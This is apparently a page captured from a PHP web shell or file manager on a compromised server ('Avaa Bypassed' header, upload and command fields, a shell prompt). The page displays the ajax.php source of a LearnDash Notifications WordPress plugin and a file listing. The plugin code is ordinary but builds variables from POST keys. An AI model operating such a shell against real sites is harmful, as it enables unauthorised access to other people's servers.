[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@3.145.75.30: ~ $
<?php

if ( ! defined( 'ABSPATH' ) ) {
    exit();
}

/**
 * AJAX handler for 'ld_notifications_get_posts_list' action
 *
 * @return void
 */
function learndash_notifications_ajax_get_posts_list() {
    if ( ! wp_verify_nonce( $_POST['nonce'], 'ld_notifications_nonce' ) ) {
        wp_die();
    }

    if ( ! current_user_can( 'manage_options' ) ) {
        wp_die();
    }

    // By default WP_Query search all post title, content, and excerpt.
	// This filter modify it to only search in post title.
    add_filter( 'posts_search', function( $search, $wp_query ) {
        if ( isset( $wp_query->query['ld_notifications_action'] ) && $wp_query->query['ld_notifications_action'] === 'ld_notifications_get_posts_list' ) {
            $search = preg_replace( '/(OR)\s.*?post_(excerpt|content)\sLIKE\s.*?\)/', '', $search );
        }

        return $search;
    }, 10, 2 );

	$posts      = array();
	$posts_args = array();

	foreach( $_POST as $key => $value ) {
		switch ( $key ) {
			case 'group_id':
			case 'course_id':
			case 'lesson_id':
			case 'topic_id':
			case 'quiz_id':
			case 'parent_id':
				if ( is_array( $value ) ) {
					array_walk_recursive( $value, function( &$v ) {
						$v = sanitize_text_field( $v );
					} );
				} else {
					$value = sanitize_text_field( $value );
					$value = array( $value );
				}

				// Use key name as variable name.
				$$key = $value;
				break;

			default:
				// Use key name as variable name.
				$$key = sanitize_text_field( $value );
				break;
		}
	}

	$posts_per_page = 10;
	$paged          = ! empty( $page ) ? absint( $page ) : 1;

	switch ( $post_type ) {
		case 'groups':
			$label = LearnDash_Custom_Label::get_label( 'group' );
			break;

		case 'sfwd-courses':
			$label = LearnDash_Custom_Label::get_label( 'course' );
			break;

		case 'sfwd-lessons':
			$label = LearnDash_Custom_Label::get_label( 'lesson' );
			break;

		case 'sfwd-topic':
			$label = LearnDash_Custom_Label::get_label( 'topic' );
			break;

		case 'sfwd-quiz':
			$label = LearnDash_Custom_Label::get_label( 'quiz' );

			if ( in_array( 'all', $parent_id, true ) && ( ! in_array( 'all', $lesson_id, true ) && ! empty( $lesson_id ) ) ) {
				$parent_id = $lesson_id;
			} elseif ( in_array( 'all', $parent_id, true ) && ( ! in_array( 'all', $course_id, true ) && ! empty( $course_id ) ) ) {
				$parent_id = $course_id;
			}
			break;
	}

	if ( ! empty( $post_type ) ) {
		$posts_args = array(
			'post_type'               => $post_type,
			's'                       => $keyword ?? null,
			'posts_per_page'          => $posts_per_page,
			'paged'				      => $paged,
			'post_status'             => 'any',
			'orderby'                 => 'relevance',
			'order'                   => 'ASC',
			'suppress_filters'        => false,
			'ld_notifications_action' => 'ld_notifications_get_posts_list',
		);

		$post_ids = [];

		if ( is_array( $parent_id ) && is_array( $course_id ) ) {
			foreach ( $parent_id as $p_id ) {
				if ( $p_id === 'all' ) {
					continue;
				}

				foreach ( $course_id as $c_id ) {
					if (
						$c_id === 'all'
						&& (
							! empty( $parent_id )
							&& in_array( 'all', $parent_id, true )
						)
					) {
						$post_ids = [];
						break 2;
					}

					if ( intval( $p_id ) === intval( $c_id ) ) {
						$post_ids = array_merge( learndash_course_get_steps_by_type( $c_id, $post_type ), $post_ids );
					} else {
						$post_ids = array_merge( learndash_course_get_children_of_step( $c_id, $p_id, $post_type ), $post_ids );
					}
				}
			}
		}

		if ( ! empty( $post_ids ) ) {
			$posts_args['post__in'] = $post_ids;
 		}
	}

	if ( ! empty( $posts_args ) ) {
		$query = new WP_Query( $posts_args );
		$posts = $query->get_posts();
	}

	$results = [];

	if ( $paged === 1 ) {
		$results[] = [
			'id'   => 'all',
			'text' => sprintf( _x( 'Any %s', 'Post type label', 'learndash-notifications' ), $label ),
		];
	}

    foreach ( $posts as $post ) {
		if ( is_numeric( $post ) ) {
			$post = get_post( $post );
		}

        $results[] = array(
            'id'   => $post->ID,
            'text' => $post->post_title . '  (ID: ' . $post->ID . ')',
        );
    }

	$response = [
		'results'    => $results,
		'pagination' => ! empty( $query->max_num_pages ) && $paged < $query->max_num_pages,
	];

    echo wp_json_encode( $response );
    wp_die();
}

add_action( 'wp_ajax_ld_notifications_get_posts_list', 'learndash_notifications_ajax_get_posts_list' );

Filemanager

Name Type Size Permission Actions
admin Folder 0755
activation.php File 426 B 0644
ajax.php File 4.34 KB 0644
class-dependency-check.php File 240 B 0644
cron.php File 2.6 KB 0644
database.php File 10.61 KB 0644
deactivation.php File 304 B 0644
functions.php File 1.82 KB 0644
logger.php File 2.05 KB 0644
meta-box.php File 31.46 KB 0644
notification.php File 79.16 KB 0644
post-type.php File 12.03 KB 0644
shortcode.php File 12.09 KB 0644
subscription-manager.php File 4.69 KB 0644
tools.php File 4.2 KB 0644
update.php File 1.25 KB 0644
user.php File 1.61 KB 0644